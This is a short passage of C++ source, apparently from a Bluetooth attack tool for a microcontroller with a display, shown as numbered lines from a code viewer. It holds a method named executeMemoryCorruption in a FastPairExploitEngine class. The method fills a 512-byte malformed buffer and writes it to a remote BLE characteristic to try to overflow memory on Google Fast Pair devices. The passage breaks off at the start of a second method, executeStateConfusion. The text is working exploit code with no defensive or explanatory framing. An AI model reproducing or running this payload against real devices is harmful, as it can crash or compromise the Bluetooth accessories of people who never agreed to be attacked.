| 3290 | } |
| 3291 | |
| 3292 | bool FastPairExploitEngine::executeMemoryCorruption(NimBLERemoteCharacteristic *pChar) { |
| 3293 | showAttackProgress("Executing memory corruption...", TFT_RED); |
| 3294 | |
| 3295 | uint8_t overflowPacket[512]; |
| 3296 | memset(overflowPacket, 0x41, sizeof(overflowPacket)); |
| 3297 | overflowPacket[0] = 0x00; |
| 3298 | overflowPacket[1] = 0x00; |
| 3299 | for (int i = 2; i < 67; i++) overflowPacket[i] = 0xFF; |
| 3300 | for (int i = 67; i < sizeof(overflowPacket); i++) overflowPacket[i] = i % 256; |
| 3301 | |
| 3302 | bool result = pChar->writeValue(overflowPacket, sizeof(overflowPacket), true); |
| 3303 | delay(100); |
| 3304 | return result; |
| 3305 | } |
| 3306 | |
| 3307 | bool FastPairExploitEngine::executeStateConfusion(NimBLERemoteCharacteristic *pChar) { |
| 3308 | showAttackProgress("Executing state confusion...", TFT_YELLOW); |
no test coverage detected